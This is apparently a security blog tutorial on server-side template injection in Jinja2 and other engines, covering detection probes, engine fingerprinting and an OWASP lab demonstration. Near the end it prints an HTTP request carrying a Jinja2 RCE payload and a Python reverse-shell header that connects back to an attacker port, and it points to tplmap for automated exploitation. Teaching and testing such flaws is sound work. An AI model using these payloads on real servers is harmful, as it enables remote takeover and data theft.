Server Side Template Injection

Server-side template injection (SSTI) is a type of security vulnerability that can occur in web applications that use server-side templating technologies like Jinja2, Twig, or FreeMaker. SSTI occurs when user input is not properly sanitized and is embedded in a template in an unsafe manner, which can result in remote code execution on the server.

Web applications commonly use server-side templating technologies to generate dynamic HTML responses. Templating engines help developers to separate the presentation layer from the application logic and data model. This separation of concerns helps to keep code organized, maintainable, and scalable. Templating engines take a template file and fill in placeholders with dynamic data to generate a final output file, which is sent to the client’s browser.

However, if user input is not properly validated and sanitized before being inserted into a template, an attacker can inject malicious code, leading to SSTI vulnerabilities. This can result in the execution of arbitrary code on the server, giving the attacker access to sensitive data, system resources, or even full control of the server.

The consequences of an SSTI attack can be severe, and it’s essential to take steps to prevent this type of vulnerability. Properly validating and sanitizing user input before inserting it into a template is critical. Templating engines often provide built-in methods for escaping and filtering user input, but it’s important to understand how to use these methods correctly to prevent vulnerabilities.

What is Template Engine?

Jinja is a popular template engine for Python web applications, and is widely used in frameworks such as Flask and Django. It allows developers to separate presentation logic from application logic by defining HTML templates that can be dynamically populated with data from the application.

Below I have shown the simple jinja template tutorial with code.

Popular Template Engines:

  • PHP – Smarty, Twigs
  • JAVA – Velocity, Freemaker
  • Python – Jinja, Mako, Tornado
  • JavaScript – Jade, Rage
  • Ruby – Liquid

It has been observed that the website passes user input directly to the template without proper validation. This can potentially lead to a security vulnerability known as Server-Side Template Injection (SSTI). To identify this vulnerability, common calculations can be performed and the output can be observed.

However, performing large numerical calculations can result in excessive consumption of server resources, such as RAM. As shown in the below screenshot, the web server’s RAM usage can increase significantly over several seconds. It’s important to note that an improper implementation of the template can lead to a Denial of Service (DoS) attack, causing the server to become unresponsive or crash. Therefore, proper input validation and sanitization are crucial to prevent SSTI and other security issues.


After discovering a template injection vulnerability, the next crucial step is identifying the specific template engine in use. While this may be an easy task in some cases, such as submitting invalid syntax and examining the resulting error messages, it can be more challenging if error messages are suppressed or if you need to automate the identification process.

One solution to this challenge is to use a decision tree of language-specific payloads, as we have implemented in Burp Suite. These payloads are designed to trigger a particular response from the template engine being used, such as a successful output or a failure message. The responses are then displayed using green and red arrows, respectively.

It is important to note that in some cases, a single payload may produce multiple success responses that are distinct from each other. For example, the probe {{7*’7′}} would result in 49 in Twig, 7777777 in Jinja2, and nothing if no template language is in use. This illustrates the need for careful testing and analysis to ensure that the correct template engine is identified.


Below, you can see my implementation of the OWASP S.K.F. lab, where you can observe how even basic payloads can retrieve highly sensitive data from the web server.

To further exploit this vulnerability, an attacker can potentially retrieve sensitive files and source code from the internal servers. This can lead to a serious breach of confidential data and pose a significant risk to the security of the system.

In very rare scenarios we can go for the shell or RCE via SSTI. Below you can observe the HTTP request with the payload.

GET /{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/','w').write(request.headers['X-Payload'])}}-{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/').read()}}-{{config.from_pyfile('/tmp/')}} HTTP/1.1
X-Payload: import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",7878));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);

We got NC shell !!!


Yes, it is possible to automate the process of detecting and exploiting SSTI vulnerabilities using tools such as tplmap ( These tools can help speed up the process of identifying the template engine in use and generating payloads to exploit the vulnerability.

We can obtain a shell without any significant effort spent researching multiple template configuration commands.

There is nice CTF created by me 😉 MuzzyBox on Play and solve the SSTI challenge OR
Navigate to YouTube Video @ 5 minute you can see the RCE via tplmap